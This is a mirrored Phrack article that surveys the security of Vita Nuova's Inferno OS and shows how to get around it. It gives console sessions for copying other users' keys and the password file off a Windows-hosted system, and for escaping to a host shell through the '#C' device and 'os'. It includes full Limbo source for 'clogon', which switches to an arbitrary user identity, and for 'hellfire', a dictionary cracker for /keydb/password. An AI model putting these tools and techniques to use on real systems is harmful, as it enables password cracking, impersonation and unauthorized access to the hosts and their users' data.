mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
551 lines
17 KiB
Text
551 lines
17 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3a, Phile #0x0c of 0x0e
|
|
|
|
|=------------------=[ The Security of Inferno OS ]=---------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=--------------------=[ dalai <dalai@swbt.net> ]=-----------------------=|
|
|
|
|
|
|
This paper goes over the security semantics of Vita Nuova's Inferno OS,
|
|
and some means by which they may be circumvented. Inferno is a small,
|
|
embedded OS intended to run on devices which may take advantage of its
|
|
distributed aspects. The example Bell Labs likes to use is the T.V.
|
|
set-top box. Anything which relies on remote data to run is an Inferno
|
|
candidate. Other potential uses include networked PDA's, and local
|
|
broadband access hubs (ie for cablemodem, or ION).
|
|
|
|
This paper is about security and is not an introduction to Inferno. The
|
|
Inferno Documents and man pages have been made available for public
|
|
consumption and are located at Vita Nuova's website,
|
|
http://www.vitanuova.com. Also, notice the change with my email address.
|
|
Insomnia.org get's DoS'd so they shut out their users. Go figure.
|
|
|
|
Lucent has mentioned their intent to utilize Inferno in some of it's up
|
|
and coming products. Firewalls and routers are already being built with
|
|
Inferno, and potential future use includes telecom equipment, and
|
|
dedicated(cheap) Internet terminals. Some outside companies are also taking
|
|
interest in Inferno, but noone can predict how much it will be used in the
|
|
future, or how successful it will be.
|
|
|
|
There are many reasons why you'd enjoy playing with Inferno. If it gains
|
|
the market saturation that Vita Nuova hopes for, you will have a vast
|
|
network of devices to play with. The industry hopes to 'e-nable'(tm) nearly
|
|
everything that runs off of power. Vehicles, large household appliances,
|
|
probably even toasters will shortly require some kind of embedded OS to
|
|
drive their superfluous hardware. Inferno is one of the answers, and
|
|
probably the most robust.
|
|
|
|
|
|
90% of anything mentioning Inferno and security in the same context talks
|
|
about the encryption and authentication of network messages. This is all
|
|
fine and dandy, but there's much more to be considered, especially in an
|
|
internetworked OS. And Inferno is about networking. There is little point
|
|
in a stand alone host.
|
|
|
|
And thus networking Inferno is fundamental. Here's a little info to get
|
|
your hosts up and talking, preferably to another Inferno-based machine.
|
|
|
|
The services to be run by Inferno upon execution of the server binary,
|
|
'lib/srv', are contained in /services/server/config. By default the file
|
|
contains these services:
|
|
|
|
styx 6666/tcp # Main file service
|
|
mpeg 6667/tcp # Mpeg stream
|
|
rstyx 6668/tcp # Remote invocation
|
|
infdb 6669/tcp # Database connection
|
|
infweb 6670/tcp # inferno web server
|
|
infsigner 6671/tcp # inferno signing services
|
|
infcsigner 6672/tcp # inferno signing services
|
|
inflogin 6673/tcp # inferno login service
|
|
virgil 2202/udp virgild # inferno info
|
|
|
|
The file /services/cs/services functions as the Unix /etc/services, and
|
|
can be used to reference the above service names with port numbers.
|
|
'netstat' does for Inferno something similar to what it does for Unix. If
|
|
run under a Unix, copy the contents of /services/cs/services to your
|
|
/etc/services file.
|
|
|
|
In order for Inferno to successfully talk to other hosts you must start
|
|
the connection server, 'lib/cs'. This daemon translates network names(in
|
|
the form of protocol!host!port) into a namespace network presence. You can
|
|
specify the services 'lib/srv' is to run by editing the file
|
|
/services/server/config.
|
|
|
|
|
|
You can get two hosts up and talking with these steps, assuming that the
|
|
hosting OS' are connected and can communicate. Hostname translation, IP
|
|
interface selection, and etc. is decided upon by the hosting OS.
|
|
|
|
|
|
1. DNS: 'echo ip.of.dns.server > /services/dns/db', rebuild
|
|
/services/dns/db. There's an example already in there.
|
|
|
|
2. CS: edit /services/cs/db, then 'lib/cs'
|
|
|
|
3. SRV: edit /services/server/config, then 'lib/srv' (Run on server)
|
|
|
|
4. LOGINS: Run 'changelogin <user>' on the server, this must be done for
|
|
each user who will be logging in.
|
|
|
|
5. KEYS: Run 'getauthinfo default' on the hosts to create the initial
|
|
certificates. Do this for both the server and the client. Do
|
|
'getauthinfo <server>' on the client. Note that this is for the
|
|
default certificate. To get one for use with a particular ip, do
|
|
'getauthinfo tcp!hostname'.
|
|
|
|
6. DONE: You may then use the Inferno network services, for instance you
|
|
may mount a remote computer under your namespace:
|
|
|
|
'mount tcp!host /n/remote'
|
|
|
|
to verify:
|
|
'lc /n/remote/'
|
|
|
|
or:
|
|
'netstat'
|
|
|
|
|
|
And it's that easy folks. You may want your 'lib/cs', 'lib/srv', and
|
|
mount commands to be done automatically at boot. The 'mount' is just an
|
|
example, there's an infinite number of things you can do with your two
|
|
hosts. You may even opt to mobilize your lego's[1]. Read the man pages.
|
|
|
|
|
|
*****
|
|
|
|
|
|
Because of the design of Inferno, and the way it is meant to be applied,
|
|
security can be easily circumvented, yielding unauthorized access on remote
|
|
machines, and access to files on the current machine that you shouldn't be
|
|
able to touch.
|
|
|
|
I should say something about hosted Inferno before I forget. Because it
|
|
will rely on the hosting OS' IP mechanism's, the sockets created by Inferno
|
|
will behave under pressure as one created by the host. While a tcp
|
|
connect() scan will dirty up the Inferno console with messages, if the host
|
|
OS is Win32 and someone's invoked 'nmap -sF' against it then Inferno's
|
|
services will be invisible along with Windows'. Likewise, all normal system
|
|
logging still applies to the ports Inferno is using. Understand?
|
|
|
|
The OS uses a virtual machine model to run its executables, which are
|
|
typically coded in the Inferno specific language Limbo. The virtual machine
|
|
Dis is secured by the virtue of type checking. Perms under inferno are like
|
|
those in Unix. 'ls -l' will show you what I mean. Unlike Unix, namespace
|
|
resources created by a private application are not by default made
|
|
available to anyone else except the children of that process. Thus we see
|
|
that The Labs have put some effort into securing Inferno.
|
|
|
|
Cryptography is integrated into the OS. Messages exchanged between two
|
|
Inferno hosts can be encrypted, or authenticated and plaintext. It's built-
|
|
in cryptographic algorithms are, according to the manual:
|
|
|
|
|
|
- SHA/MD5 hash
|
|
- Elgamal public key for signature systems
|
|
- RC4
|
|
- DES
|
|
- Diffie-Hellman for key exchange
|
|
|
|
|
|
Authentication relies on the public-key aspects of the above. Isn't that
|
|
super? He who believes cryptography is the end-all of security measures is
|
|
sad indeed. Call me lame or whatever, I'm just not interested in crypto.
|
|
|
|
Here I will share with you my techniques for upping your enjoyment of
|
|
Inferno. Check it out, no smoke or mirrors. No strings. If you have console
|
|
access you have the Inferno, so all of my stuff may be done via remote
|
|
login, you can do the Windows thing both locally and remotely in the case
|
|
of 95/98. Test boxes follow the suggested installation perm's.
|
|
|
|
1) Windows
|
|
|
|
If the Inferno is hosted on Windows 95/98, it won't even try to protect
|
|
key files. Even if it did, we could just grab what we wanted from Windows,
|
|
with the default path to the Inferno namespace being C:\USERS\INFERNO.
|
|
Observe.
|
|
|
|
stacey; cat /dev/user
|
|
inferno
|
|
stacey; mount tcp!jessica /n/remote
|
|
stacey; cd /n/remote/usr/dalai/keyring
|
|
stacey; lc
|
|
default
|
|
stacey; cp default /usr/inferno
|
|
stacey;
|
|
|
|
And then we can login as dalai from a third party box, or log into the
|
|
Window's machine's server. Not as big a deal as it seems, considering how
|
|
Inferno is supposed to be run. We can also use this to get the password
|
|
file, /keydb/password.
|
|
|
|
|
|
2) clogon
|
|
|
|
Attached is my command line port of the GUI login utility provided by
|
|
Inferno in the distribution. I call it clogon. Now you can't say I've never
|
|
done anything for you. This does basically the same thing as wm/logon, but
|
|
is done from the text mode console. Inferno will allow you to switch your
|
|
user name once per session.
|
|
|
|
stacey; cat /dev/user
|
|
inferno
|
|
stacey; ./clogon -u dalai
|
|
stacey; cat /dev/user
|
|
dalai
|
|
stacey;
|
|
|
|
|
|
3) hellfire
|
|
|
|
Hellfire is my Inferno password cracker. The password file is located
|
|
under /keydb/password, and contains the list of users which will be logging
|
|
in remotely to the machine. The Hellfire source can be found below, or at
|
|
the Trauma Inc. page.
|
|
|
|
jessica; hellfire -d dict -u luser
|
|
|
|
hellfire, by dalai(dalai@swbt.net)
|
|
A Traumatized Production.
|
|
Cracking...
|
|
|
|
Password is "victim"
|
|
Have a nice day.
|
|
jessica;
|
|
|
|
|
|
You don't need that password for the local machine, however you may use
|
|
it in conjunction with luser's keys to gain his access to a remote machine.
|
|
And it will work the same way with more mundane distributed services. The
|
|
day the utility companies rely on Inferno is the day I hook my computer up
|
|
to the washer and dryer.
|
|
|
|
|
|
******
|
|
|
|
|
|
Inferno may run stand alone, or hosted on another OS(Plan9, Win32,
|
|
several Unix's). When hosted, there are quite often opportunities not only
|
|
to hack Inferno from the host, but also the host from Inferno.
|
|
|
|
By default the Inferno emulator(emu) is started with no login prompt.
|
|
This is fine for me, because I use my host OS's login to get into Inferno.
|
|
You can have Inferno run a specified program via the emu command line, and
|
|
thus enable selective login.
|
|
|
|
For starters, we can execute a command on the host OS as follows:
|
|
|
|
stacey; bind -a '#C' /
|
|
stacey; os '/bin/sh -i'
|
|
devcmd: /bin/sh -i pid 12600
|
|
sh: no job control in this shell
|
|
sh-2.03$
|
|
|
|
|
|
You have the perm's given to the user and group that Inferno was
|
|
installed under, the suggested is user 'Inferno' and group 'inf'. The
|
|
manual says that if some careless person started Inferno as root, 'os' will
|
|
run as the caller's Inferno username. If that username does not exist on
|
|
the hosting system, then 'cmd' will run as user/nobody.
|
|
|
|
Yes, I'm thinking what you're thinking. According to the manual, IF
|
|
Inferno is installed under root, AND you change your Inferno user name to
|
|
that of another user on the host OS, THEN you will become that user on the
|
|
host. But what if that user doesn't have an account on the Inferno? With a
|
|
minor modification clogon will allow you to be whatever user you choose,
|
|
you may use any name at all.
|
|
|
|
Note that on Window's systems the 'os' argument must be a binary
|
|
executable in the current path. Things built into the regular Windows
|
|
interpreter(command) won't work. Like Unix, the command is run under the
|
|
same user id that started emu. Also, you can make a dos/windows/iso9660 fs
|
|
visible under Inferno.
|
|
|
|
|
|
******
|
|
|
|
|
|
After becoming curious with Inferno, I downloaded and played with it for
|
|
awhile. I became interested enough to write this paper, and i'm overall
|
|
satisfied with the system. Who knows, I may even use it in some upcoming
|
|
projects. If you like the syntax and feel of Inferno but want a more
|
|
production-type OS, see Plan9.
|
|
|
|
|
|
Notes:
|
|
|
|
[1] - Styx on a Brick: http://www.vitanuova.com/inferno/lego1.html
|
|
|
|
|
|
------------------------------ clogon.b ------------------------------------
|
|
|
|
# clogon
|
|
# port of wm/logon to the command line
|
|
#
|
|
# dalai(dalai@swbt.net)
|
|
# http://www.swbt.net/~dalai
|
|
|
|
implement clogon;
|
|
|
|
include "sys.m";
|
|
sys: Sys;
|
|
|
|
include "draw.m";
|
|
|
|
include "sh.m";
|
|
include "newns.m";
|
|
|
|
clogon: module
|
|
{
|
|
init: fn(nil: ref Draw->Context, argv: list of string);
|
|
};
|
|
|
|
init(nil: ref Draw->Context, argv: list of string)
|
|
{
|
|
sys = load Sys Sys->PATH;
|
|
sys->print("clogon, by dalai(dalai@swbt.net)\n");
|
|
|
|
sys->pctl(sys->FORKNS|sys->FORKFD, nil);
|
|
|
|
progdir := "#p/" + string sys->pctl(0, nil);
|
|
kfd := sys->open(progdir+"/ctl", sys->OWRITE);
|
|
if(kfd == nil) {
|
|
sys->sprint("cannot open %s: %r", progdir+"/ctl");
|
|
sys->raise("fail:bad prog dir");
|
|
}
|
|
|
|
usr := "";
|
|
if(argv != nil) {
|
|
argv = tl argv;
|
|
if(argv != nil && hd argv == "-u") {
|
|
argv = tl argv;
|
|
if(argv != nil) {
|
|
usr = hd argv;
|
|
argv = tl argv;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (usr == nil || !logon(usr)) {
|
|
sys->print("usage: clogon -u user\n");
|
|
}
|
|
|
|
(ok, nil) := sys->stat("namespace");
|
|
|
|
if(ok >= 0) {
|
|
ns := load Newns Newns->PATH;
|
|
if(ns == nil)
|
|
sys->print("failed to load namespace builder\n");
|
|
else if ((nserr := ns->newns(nil, nil)) != nil){
|
|
sys->print("error in user namespace file: %s", nserr);
|
|
sys->print("\n");
|
|
}
|
|
}
|
|
sys->fprint(kfd, "killgrp");
|
|
errch := chan of string;
|
|
spawn exec(argv, errch);
|
|
err := <-errch;
|
|
if (err != nil) {
|
|
sys->fprint(stderr(), "logon: %s\n", err);
|
|
sys->raise("fail:exec failed");
|
|
}
|
|
}
|
|
|
|
exec(argv: list of string, errch: chan of string)
|
|
{
|
|
sys->pctl(sys->NEWFD, 0 :: 1 :: 2 :: nil);
|
|
e := ref Sys->Exception;
|
|
if (sys->rescue("fail:*", e) == Sys->EXCEPTION) {
|
|
sys->rescued(Sys->ONCE, nil);
|
|
exit;
|
|
}
|
|
|
|
argv = "/dis/sh/sh.dis" :: "-i" :: "-n" :: nil;
|
|
cmd := load Command hd argv;
|
|
if (cmd == nil) {
|
|
errch <-= sys->sprint("cannot load %s: %r", hd argv);
|
|
} else {
|
|
errch <-= nil;
|
|
cmd->init(nil, argv);
|
|
}
|
|
}
|
|
|
|
logon(user: string): int
|
|
{
|
|
userdir := "/usr/"+user;
|
|
if(sys->chdir(userdir) < 0) {
|
|
sys->print("There is no home directory for that user mounted on this machine\n");
|
|
return 0;
|
|
}
|
|
|
|
#
|
|
# Set the user id
|
|
#
|
|
fd := sys->open("/dev/user", sys->OWRITE);
|
|
if(fd == nil) {
|
|
sys->print("failed to open /dev/user: %r\n");
|
|
return 0;
|
|
}
|
|
b := array of byte user;
|
|
if(sys->write(fd, b, len b) < 0) {
|
|
sys->print("failed to write /dev/user with error: %r\n");
|
|
return 0;
|
|
}
|
|
|
|
return 1;
|
|
}
|
|
|
|
stderr(): ref Sys->FD
|
|
{
|
|
return sys->fildes(2);
|
|
}
|
|
|
|
------------------------------ clogon.b ------------------------------------
|
|
|
|
|
|
------------------------------ hellfire.b ----------------------------------
|
|
|
|
# hellfire.b : /keydb/password decoder
|
|
#
|
|
# by: dalai(dalai@swbt.net)
|
|
# http://www.swbt.net/~dalai
|
|
|
|
|
|
implement hellfire;
|
|
|
|
|
|
include "sys.m";
|
|
sys: Sys;
|
|
include "draw.m";
|
|
draw: Draw;
|
|
include "bufio.m";
|
|
bufio: Bufio;
|
|
Iobuf: import bufio;
|
|
include "string.m";
|
|
str: String;
|
|
include "arg.m";
|
|
arg: Arg;
|
|
include "keyring.m";
|
|
keyring: Keyring;
|
|
include "security.m";
|
|
pass: Password;
|
|
|
|
|
|
hellfire: module
|
|
{
|
|
init: fn(ctxt: ref Draw->Context, argv: list of string);
|
|
usage: fn();
|
|
finish: fn(temp: array of byte);
|
|
};
|
|
|
|
init(nil: ref Draw->Context, argv: list of string)
|
|
{
|
|
sys = load Sys Sys->PATH;
|
|
draw = load Draw Draw->PATH;
|
|
bufio = load Bufio Bufio->PATH;
|
|
str = load String String->PATH;
|
|
arg = load Arg Arg->PATH;
|
|
pass = load Password Password->PATH;
|
|
keyring = load Keyring Keyring->PATH;
|
|
|
|
sys->print("\nhellfire, by dalai(dalai@swbt.net)\n");
|
|
sys->print("A Traumatized Production.\n");
|
|
|
|
if(argv == nil)
|
|
usage();
|
|
|
|
dfile := pfile := uid := "";
|
|
arg->init(argv);
|
|
|
|
while((tmp := arg->opt()) != 0)
|
|
case tmp{
|
|
'd' => dfile = arg->arg();
|
|
'u' => uid = arg->arg();
|
|
* => usage();
|
|
}
|
|
|
|
if(dfile == nil || uid == nil)
|
|
usage();
|
|
|
|
dfd := bufio->open(dfile, bufio->OREAD);
|
|
|
|
if(dfd == nil){
|
|
sys->print("Could not open %s.\n", dfile);
|
|
exit;
|
|
}
|
|
|
|
pw := pass->get(uid);
|
|
if(pw == nil){
|
|
sys->print("Could not get entry for %s.\n", uid);
|
|
exit;
|
|
}
|
|
|
|
sys->print("Cracking...\n\n");
|
|
|
|
pwbuff2 := array[keyring->SHAdlen] of byte;
|
|
pwbuff := array[keyring->SHAdlen] of byte;
|
|
|
|
# try some common passwords
|
|
for(n := 1; n < 4; n++){
|
|
if(n == 1)
|
|
pwbuff = array of byte "password";
|
|
if(n == 2)
|
|
pwbuff = array of byte uid;
|
|
if(n == 3)
|
|
pwbuff = array of byte "";
|
|
|
|
keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil);
|
|
|
|
temp1 := string pwbuff2;
|
|
temp2 := string pw.pw;
|
|
|
|
if(temp2 == temp1){
|
|
finish(pwbuff);
|
|
}
|
|
}
|
|
|
|
# if not, try the dictionary
|
|
for(dentry := "" ; ;){
|
|
dentry = dfd.gets('\n');
|
|
if(dentry == nil)
|
|
break;
|
|
|
|
if(dentry[len dentry-1] == '\n'){
|
|
heh := "";
|
|
(heh, nil) = str->splitl(dentry, "\n");
|
|
dentry = heh;
|
|
}
|
|
|
|
pwbuff = array of byte dentry;
|
|
keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil);
|
|
|
|
temp1 := string pwbuff2;
|
|
temp2 := string pw.pw;
|
|
|
|
if(temp2 == temp1){
|
|
finish(pwbuff);
|
|
}
|
|
}
|
|
|
|
sys->print("done.\n");
|
|
sys->print("Have a nice day.\n");
|
|
exit;
|
|
}
|
|
|
|
finish(pwbuff: array of byte)
|
|
{
|
|
sys->print("Password is \"%s\"\n", string pwbuff);
|
|
sys->print("Have a nice day.\n");
|
|
exit;
|
|
}
|
|
|
|
usage()
|
|
{
|
|
sys->print("usage: hellfire -d dictionary -u user\n");
|
|
exit;
|
|
}
|
|
|
|
----------------------------- hellfire.b ----------------------------------
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|